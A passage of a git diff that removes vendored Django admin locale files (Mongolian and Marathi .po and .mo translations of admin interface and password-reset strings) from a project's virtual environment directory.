python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"%(objects_name)s обектуудыг утсгаж байна дараах холбоотой хамгаалагдсан " -"обектуудыг устгах шаардлагатай:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Та %(objects_name)s ийг устгах гэж байна итгэлтэй байна? Дараах обектууд " -"болон холбоотой зүйлс хамт устагдах болно:" - -msgid "Delete?" -msgstr "Устгах уу?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s -ээр" - -msgid "Summary" -msgstr "Хураангуй" - -msgid "Recent actions" -msgstr "Сүүлд хийсэн үйлдлүүд" - -msgid "My actions" -msgstr "Миний үйлдлүүд" - -msgid "None available" -msgstr "Үйлдэл алга" - -msgid "Added:" -msgstr "Нэмсэн:" - -msgid "Changed:" -msgstr "Өөрчилсөн:" - -msgid "Deleted:" -msgstr "Устгасан:" - -msgid "Unknown content" -msgstr "Тодорхойгүй агуулга" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Таны өгөгдлийн санг суулгахад ямар нэг алдаа гарлаа байна. Өгөгдлийн сангийн " -"тохирох хүснэгтүүдийг үүсгэсэн эсэхийг шалгаад, өгөгдлийн санг тохирох " -"хэрэглэгч унших боломжтой эсэхийг шалгаарай." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Та %(username)s нэрээр нэвтэрсэн байна гэвч энэ хуудасхуу хандах эрх " -"байхгүй байна. Та өөр эрхээр логин хийх үү?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "Жолоодлого солбих" - -msgid "Sidebar" -msgstr "Хажуугийн самбар" - -msgid "Start typing to filter…" -msgstr "Шүүхийн тулд бичиж эхлэх..." - -msgid "Filter navigation items" -msgstr "Жолоодлогын зүйлсийг шүүх" - -msgid "Date/time" -msgstr "Огноо/цаг" - -msgid "User" -msgstr "Хэрэглэгч" - -msgid "Action" -msgstr "Үйлдэл" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "оролт" -msgstr[1] "оролт" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Энэ объектод өөрчлөлтийн түүх байхгүй байна. Админ сайтаар нэмээгүй байх " -"магадлалтай." - -msgid "Show all" -msgstr "Бүгдийг харуулах" - -msgid "Save" -msgstr "Хадгалах" - -msgid "Popup closing…" -msgstr "Хааж байна..." - -msgid "Search" -msgstr "Хайлт" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s үр дүн" -msgstr[1] "%(counter)s үр дүн" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "Нийт %(full_result_count)s" - -msgid "Save as new" -msgstr "Шинээр хадгалах" - -msgid "Save and add another" -msgstr "Хадгалаад өөрийг нэмэх" - -msgid "Save and continue editing" -msgstr "Хадгалаад нэмж засах" - -msgid "Save and view" -msgstr "Хадгалаад харах." - -msgid "Close" -msgstr "Хаах" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Сонгосон %(model)s-ийг өөрчлөх" - -#, python-format -msgid "Add another %(model)s" -msgstr "Өөр %(model)s нэмэх" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Сонгосон %(model)s устгах" - -#, python-format -msgid "View selected %(model)s" -msgstr "View selected %(model)s" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Өнөөдөр вэб сайтад цаг заваа зарцуулсанд баярлалаа." - -msgid "Log in again" -msgstr "Ахин нэвтрэх " - -msgid "Password change" -msgstr "Нууц үгийн өөрчлөлт" - -msgid "Your password was changed." -msgstr "Нууц үг тань өөрчлөгдлөө." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Та аюулгүй байдлын үүднээс хуучин нууц үгээ оруулна уу, тэгээд шинэ нууц " -"үгээ хоёр удаа оруулнаар бид бичсэн эсэхийг баталгаажуулах боломжтой." - -msgid "Change my password" -msgstr "Нууц үгээ солих" - -msgid "Password reset" -msgstr "Нууц үг шинэчилэх" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Та нууц үгтэй боллоо. Одоо бүртгэлд нэвтрэх боломжтой." - -msgid "Password reset confirmation" -msgstr "Нууц үг шинэчилэхийг баталгаажуулах" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Шинэ нууц үгээ хоёр удаа оруулна уу. Ингэснээр нууц үгээ зөв бичиж байгаа " -"эсэхийг тань шалгах юм. " - -msgid "New password:" -msgstr "Шинэ нууц үг:" - -msgid "Confirm password:" -msgstr "Нууц үгээ батлах:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Нууц үг авах холбоос болохгүй байна. Үүнийг аль хэдийнэ хэрэглэснээс болсон " -"байж болзошгүй. Шинэ нууц үг авахаар хүсэлт гаргана уу. " - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Бид таны нууц үг тохируулах зааварчилгааг и-мэйлээр илгээлээ. Хэрэв таны " -"оруулсан и-мэйл дээр акаунт байвал хурдан авах ёстой." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Хэрэв та имэйл аваагүй бол та бүртгэлтэй хаяг оруулсан эсэхийг шалгана уу, " -"мөн спам хавтасыг шалгана уу." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"%(site_name)s сайтанд бүртгүүлсэн эрхийн нууц үгийг сэргээх хүсэлт гаргасан " -"учир энэ имэйл ийг та хүлээн авсан болно. " - -msgid "Please go to the following page and choose a new password:" -msgstr "Дараах хуудас руу орон шинэ нууц үг сонгоно уу:" - -msgid "In case you’ve forgotten, you are:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Манай сайтыг хэрэглэсэнд баярлалаа!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "%(site_name)s баг" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Нууц үгээ мартсан уу? Доор имэйл хаягаа оруулна уу, бид шинэ нууц үг " -"тохируулах зааврыг имэйлээр илгээнэ." - -msgid "Email address:" -msgstr "Имэйл хаяг:" - -msgid "Reset my password" -msgstr "Нууц үгээ шинэчлэх" - -msgid "Select all objects on this page for an action" -msgstr "Энэ хуудас дээрх бүх объектуудыг үйлдэл хийхийн тулд сонгоно уу" - -msgid "All dates" -msgstr "Бүх огноо" - -#, python-format -msgid "Select %s" -msgstr "%s-г сонго" - -#, python-format -msgid "Select %s to change" -msgstr "Өөрчлөх %s-г сонгоно уу" - -#, python-format -msgid "Select %s to view" -msgstr "Харахын тулд %s сонгоно уу" - -msgid "Date:" -msgstr "Огноо:" - -msgid "Time:" -msgstr "Цаг:" - -msgid "Lookup" -msgstr "Хайх" - -msgid "Currently:" -msgstr "Одоогийнх:" - -msgid "Change:" -msgstr "Өөрчилөлт:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 9f58362d..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.po deleted file mode 100644 index 5fda2975..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,218 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Tsolmon , 2012 -# Zorig, 2014,2018 -# Анхбаяр Анхаа , 2011-2012,2015,2019 -# Ганзориг БП , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2019-02-13 09:19+0000\n" -"Last-Translator: Анхбаяр Анхаа \n" -"Language-Team: Mongolian (http://www.transifex.com/django/django/language/" -"mn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Боломжтой %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Энэ %s жагсаалт нь боломжит утгын жагсаалт. Та аль нэгийг нь сонгоод \"Сонгох" -"\" дээр дарж нөгөө хэсэгт оруулах боломжтой." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Энэ нүдэнд бичээд дараах %s жагсаалтаас шүүнэ үү. " - -msgid "Filter" -msgstr "Шүүлтүүр" - -msgid "Choose all" -msgstr "Бүгдийг нь сонгох" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Бүгдийг сонгох бол %s дарна уу" - -msgid "Choose" -msgstr "Сонгох" - -msgid "Remove" -msgstr "Хас" - -#, javascript-format -msgid "Chosen %s" -msgstr "Сонгогдсон %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Энэ %s сонгогдсон утгуудыг жагсаалт. Та аль нэгийг нь хасахыг хүсвэл сонгоох " -"\"Хас\" дээр дарна уу." - -msgid "Remove all" -msgstr "Бүгдийг арилгах" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "%s ийн сонгоод бүгдийг нь арилгана" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s ээс %(cnt)s сонгосон" -msgstr[1] "%(sel)s ээс %(cnt)s сонгосон" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Хадгалаагүй өөрчлөлтүүд байна. Энэ үйлдэлийг хийвэл өөрчлөлтүүд устах болно." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Та 1 үйлдлийг сонгосон байна, гэвч та өөрийн өөрчлөлтүүдээ тодорхой " -"талбаруудад нь оруулагүй байна. OK дарж сануулна уу. Энэ үйлдлийг та дахин " -"хийх шаардлагатай." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Та 1 үйлдлийг сонгосон байна бас та ямарваа өөрчлөлт оруулсангүй. Та Save " -"товчлуур биш Go товчлуурыг хайж байгаа бололтой." - -msgid "Now" -msgstr "Одоо" - -msgid "Midnight" -msgstr "Шөнө дунд" - -msgid "6 a.m." -msgstr "06 цаг" - -msgid "Noon" -msgstr "Үд дунд" - -msgid "6 p.m." -msgstr "18 цаг" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Та серверийн цагаас %s цагийн түрүүнд явж байна" -msgstr[1] "Та серверийн цагаас %s цагийн түрүүнд явж байна" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Та серверийн цагаас %s цагаар хоцорч байна" -msgstr[1] "Та серверийн цагаас %s цагаар хоцорч байна" - -msgid "Choose a Time" -msgstr "Цаг сонгох" - -msgid "Choose a time" -msgstr "Цаг сонгох" - -msgid "Cancel" -msgstr "Болих" - -msgid "Today" -msgstr "Өнөөдөр" - -msgid "Choose a Date" -msgstr "Өдөр сонгох" - -msgid "Yesterday" -msgstr "Өчигдөр" - -msgid "Tomorrow" -msgstr "Маргааш" - -msgid "January" -msgstr "1-р сар" - -msgid "February" -msgstr "2-р сар" - -msgid "March" -msgstr "3-р сар" - -msgid "April" -msgstr "4-р сар" - -msgid "May" -msgstr "5-р сар" - -msgid "June" -msgstr "6-р сар" - -msgid "July" -msgstr "7-р сар" - -msgid "August" -msgstr "8-р сар" - -msgid "September" -msgstr "9-р сар" - -msgid "October" -msgstr "10-р сар" - -msgid "November" -msgstr "11-р сар" - -msgid "December" -msgstr "12-р сар" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Н" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Д" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "М" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Л" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "П" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Ба" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "Бя" - -msgid "Show" -msgstr "Үзэх" - -msgid "Hide" -msgstr "Нуух" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/django.mo deleted file mode 100644 index e6b7a519..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/django.po deleted file mode 100644 index 395dd93d..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/mr/LC_MESSAGES/django.po +++ /dev/null @@ -1,768 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Natalia, 2024 -# Omkar Parab, 2024 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Natalia, 2024\n" -"Language-Team: Marathi (http://app.transifex.com/django/django/language/" -"mr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mr\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "यशस्वीरीत्या %(count)d %(items)s घालवले गेले आहेत." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "%(name)s घालवू शकत नाही" - -msgid "Delete multiple objects" -msgstr "एकाधिक वस्तू घालवा" - -msgid "Administration" -msgstr "प्रशासन" - -msgid "All" -msgstr "सर्व" - -msgid "Yes" -msgstr "होय" - -msgid "No" -msgstr "नाही" - -msgid "Unknown" -msgstr "अज्ञात" - -msgid "Any date" -msgstr "कोणतीही दिनांक" - -msgid "Today" -msgstr "आज" - -msgid "Past 7 days" -msgstr "मागील 7 दिवस" - -msgid "This month" -msgstr "या महिन्यात" - -msgid "This year" -msgstr "यावर्षी" - -msgid "No date" -msgstr "दिनांक नाही" - -msgid "Has date" -msgstr "दिनांक आहे" - -msgid "Empty" -msgstr "रिकामी" - -msgid "Not empty" -msgstr "रिकामी नाही" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"कृपया करून %(username)s आणि कर्मचारी खात्यासाठी अचूक गुप्तशब्द नमूद करा. लक्षात घ्या की " -"दोन्ही राखणे संवेदनशील असू शकतात." - -msgid "Action:" -msgstr "क्रिया:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "अजून एक %(verbose_name)s जोडा" - -msgid "Remove" -msgstr "काढा" - -msgid "Addition" -msgstr "वाढ" - -msgid "Change" -msgstr "बदला" - -msgid "Deletion" -msgstr "वगळा" - -msgid "action time" -msgstr "क्रियाकाळ" - -msgid "user" -msgstr "वापरकर्ता" - -msgid "content type" -msgstr "सामुग्री प्रकार" - -msgid "object id" -msgstr "" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "" - -msgid "action flag" -msgstr "क्रिया झेंडा" - -msgid "change message" -msgstr "लिखित बदला" - -msgid "log entry" -msgstr "घटक नोंद" - -msgid "log entries" -msgstr "घटक नोंदी" - -#, python-format -msgid "Added “%(object)s”." -msgstr "“%(object)s” जोडले" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "“%(object)s” — %(changes)s बदलले" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "\"%(object)s\" घालविले" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "" - -msgid "Added." -msgstr "जोडले." - -msgid "and" -msgstr "आणि" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{name} “{object}” साठी {fields} बदलले. " - -#, python-brace-format -msgid "Changed {fields}." -msgstr "{fields} बदलले. " - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "{name} “{object}” घालवला" - -msgid "No fields changed." -msgstr "कोणतेही रखाणे बदलले नाहीत." - -msgid "None" -msgstr "" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "एकापेक्षा जास्त निवडण्यासाठी \"कंट्रोल\" किंवा मॅक वर \"कमांड\" खटका दाबा" - -msgid "Select this object for an action - {}" -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” यशस्वीरीत्या जोडले गेले आहे." - -msgid "You may edit it again below." -msgstr "तुम्ही ते खाली पुन्हा संपादित करू शकता." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "{name} “{obj}” यशस्वीरीत्या जोडले गेले आहे. तुम्ही खाली दुसरे {name} जोडू शकता." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” यशस्वीरीत्या बदलले गेले. तुम्ही त्याचे पुन्हा संपादन करू शकता." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} “{obj}” यशस्वीरीत्या जोडले गेले आहे. तुम्ही खाली दुसरे {name} जोडू शकता." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” यशस्वीरीत्या बदलले गेले आहे." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"गोष्टींवर क्रिया करण्यासाठी त्या निवडले जाणे आवश्यक आहे. कोणत्याही गोष्टी बदलल्या गेल्या " -"नाहीत." - -msgid "No action selected." -msgstr "कोणतीही क्रिया निवडली नाही." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” यशस्वीरीत्या हटवले गेले आहे." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s “%(key)s” ओळखीसह अस्तित्वात नाही. कदाचित ते घालवले असेल ?" - -#, python-format -msgid "Add %s" -msgstr "जोडा %s" - -#, python-format -msgid "Change %s" -msgstr "बदला %s" - -#, python-format -msgid "View %s" -msgstr "पहा %s" - -msgid "Database error" -msgstr "डेटाबेस त्रुटी" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "" - -msgid "Delete" -msgstr "घालवा" - -#, python-format -msgid "Change history: %s" -msgstr "" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "जॅंगो स्थळ प्रशासक" - -msgid "Django administration" -msgstr "जॅंगो प्रशासन " - -msgid "Site administration" -msgstr "स्थळ प्रशासन " - -msgid "Log in" -msgstr "" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s प्रशासन" - -msgid "Page not found" -msgstr "पान मिळाले नाही" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "आम्ही क्षमस्व आहोत, पण विनंती केलेले पान मिळाले नाही." - -msgid "Home" -msgstr "मुख्यपान" - -msgid "Server error" -msgstr "वाढप्यात त्रुटी" - -msgid "Server error (500)" -msgstr "सर्व्हर त्रुटी (500)" - -msgid "Server Error (500)" -msgstr "सर्व्हर त्रुटी (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"त्रुटी आली आहे व ती विपत्राद्वारे सांकेतिकस्थळ व्यवस्थापकांकडे कळविण्यात आली आहे आणि लवकरच " -"ती सुधारली जाईल. आपल्या सहनशीलतेसाठी धन्यवाद." - -msgid "Run the selected action" -msgstr "निवडलेली क्रिया चालवा" - -msgid "Go" -msgstr "जा" - -msgid "Click here to select the objects across all pages" -msgstr "पानावरील सर्व वस्तूंची निवड करण्यासाठी येथे टिचकी मारा" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "सर्व %(total_count)s %(module_name)s निवडा" - -msgid "Clear selection" -msgstr "निवड काढा" - -msgid "Breadcrumbs" -msgstr "ब्रेडक्रम्ब्स" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Model name" -msgstr "" - -msgid "Add link" -msgstr "" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "जोडा" - -msgid "View" -msgstr "पहा" - -msgid "You don’t have permission to view or edit anything." -msgstr "तुम्हाला काहीही पाहण्याची किंवा संपादित करण्याची परवानगी नाही." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" - -msgid "Error:" -msgstr "" - -msgid "Change password" -msgstr "गुप्तशब्द बदला" - -msgid "Set password" -msgstr "" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "%(username)s वापरकर्त्यासाठी नवीन गुप्तशब्द नमूद करा " - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" - -msgid "Disable password-based authentication" -msgstr "" - -msgid "Enable password-based authentication" -msgstr "" - -msgid "Skip to main content" -msgstr "मुख्य सामुग्रीवर जा" - -msgid "Welcome," -msgstr "स्वागत आहे," - -msgid "View site" -msgstr "संकेतस्थळ पहा" - -msgid "Documentation" -msgstr "दस्तऐवज" - -msgid "Log out" -msgstr "बाहेर पडा" - -#, python-format -msgid "Add %(name)s" -msgstr "" - -msgid "History" -msgstr "इतिहास" - -msgid "View on site" -msgstr "संकेतस्थळावर पहा" - -msgid "Filter" -msgstr "गाळणी" - -msgid "Hide counts" -msgstr "गणना लपवा" - -msgid "Show counts" -msgstr "गणना दाखवा" - -msgid "Clear all filters" -msgstr "सर्व गाळण्या साफ करा" - -msgid "Remove from sorting" -msgstr "सोडवा सोडवा" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Toggle theme (current theme: auto)" -msgstr "थीम खुंटी बदला (सध्याची थीम: स्वयंप्रेरित)" - -msgid "Toggle theme (current theme: light)" -msgstr "थीम खुंटी बदला (सध्याची थीम: उजेड)" - -msgid "Toggle theme (current theme: dark)" -msgstr "थीम खुंटी बदला (सध्याची थीम: काळोख)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"\"%(escaped_object)s\" %(object_name)sनावाच्या वस्तू घालवताना त्याच्या संबंधित " -"वस्तूही घालवाव्या लागतील" - -msgid "Objects" -msgstr "" - -msgid "Yes, I’m sure" -msgstr "होय, मला खात्री आहे" - -msgid "No, take me back" -msgstr "नको, मला मागे न्या" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"निवडलेले %(objects_name)s घालवण्यासाठी खालील संरक्षित संबंधित वस्तू डिलीट करणे आवश्यक " -"आहे." - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"तुम्हाला खात्री आहे की तुम्ही निवडलेले %(objects_name)s हटवायला याची खात्री आहे का? " -"खात्री आहे की खालील वस्तूंचे आणि त्यांच्या संबंधित घटक हटवले जातील:" - -msgid "Delete?" -msgstr "घालवायचं ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "" - -msgid "Summary" -msgstr "सारांश" - -msgid "Recent actions" -msgstr "अलीकडच्या क्रिया" - -msgid "My actions" -msgstr "माझ्या क्रिया" - -msgid "None available" -msgstr "काहीही उपलब्ध नाही" - -msgid "Added:" -msgstr "जोडले गेले:" - -msgid "Changed:" -msgstr "बदलले." - -msgid "Deleted:" -msgstr "घालवले." - -msgid "Unknown content" -msgstr "अज्ञात सामुग्री" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"तुमच्या माहितीगठ्ठा स्थापनेत काहीतरी चुक आहे. खात्री करा की योग्य डेटाबेस तक्ते तयार केलेले " -"आहेत आणि खात्री करा की योग्य वापरकर्त्या माहितीगठ्ठा वाचू शकतो." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"तुम्ही %(username)s म्हणून प्रमाणित केले आहे, परंतु हे पानात शिरकाव करण्यास अधिकृत नाही. " -"तुम्हाला वेगळ्या खात्यात प्रवेश करायला आवडेल का?" - -msgid "Forgotten your login credentials?" -msgstr "" - -msgid "Toggle navigation" -msgstr "टॉगल नेविगेशन" - -msgid "Sidebar" -msgstr "बाजूभिंत" - -msgid "Start typing to filter…" -msgstr "प्रविष्ट करण्यासाठी टाइप करण्याची सुरुवात करा ..." - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "दिनांक/वेळ" - -msgid "User" -msgstr "वापरकर्ता" - -msgid "Action" -msgstr "क्रिया" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"या वस्तूचा कोणताही बदलाचा इतिहास नाही. कदाचित तो व्यवस्थापक मार्गे नव्हता जोडला गेला " -"असावा." - -msgid "Show all" -msgstr "सर्व दाखवा" - -msgid "Save" -msgstr "साठवा" - -msgid "Popup closing…" -msgstr "पॉपअप बंद होत आहे..." - -msgid "Search" -msgstr "शोधा" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "नवीन म्हणून साठवा" - -msgid "Save and add another" -msgstr "साठवा आणि आणखी एक जोडा" - -msgid "Save and continue editing" -msgstr "साठवा आणि संपादन सुरू ठेवा" - -msgid "Save and view" -msgstr "साठवा आणि पहा" - -msgid "Close" -msgstr "बंद" - -#, python-format -msgid "Change selected %(model)s" -msgstr "निवडलेले %(model)s बदला" - -#, python-format -msgid "Add another %(model)s" -msgstr "अजून एक %(model)s जोडा" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "निवडलेले %(model)s घालवा" - -#, python-format -msgid "View selected %(model)s" -msgstr "निवडलेले %(model)s पहा" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "आज संकेतस्थळावर अमुल्य वेळ घालवल्याबद्दल धन्यवाद." - -msgid "Log in again" -msgstr "पुन्हा प्रवेश करा" - -msgid "Password change" -msgstr "गुप्तशब्द बदला" - -msgid "Your password was changed." -msgstr "तुमचा गुप्तशब्द बदलला गेला आहे." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"सुरक्षेसाठी कृपया आपला जुना गुप्तशब्द नमूद करा, आणि नंतर आपला नवीन गुप्तशब्द दोनदा नमूद " -"करा जेणेकरून तुम्ही गुप्तशब्द अचूक नमूद केला आहे की नाही ह्याची आम्ही पडताळणी करू." - -msgid "Change my password" -msgstr "माझा गुप्तशब्द बदला" - -msgid "Password reset" -msgstr "गुप्तशब्द पुन्हस्थापना" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "तुमचा गुप्तशब्द जोडला आहे. आपण आता प्रवेश करू शकता." - -msgid "Password reset confirmation" -msgstr "गुप्तशब्द पुन्हस्थापना निश्चित" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"कृपया आपला नवीन 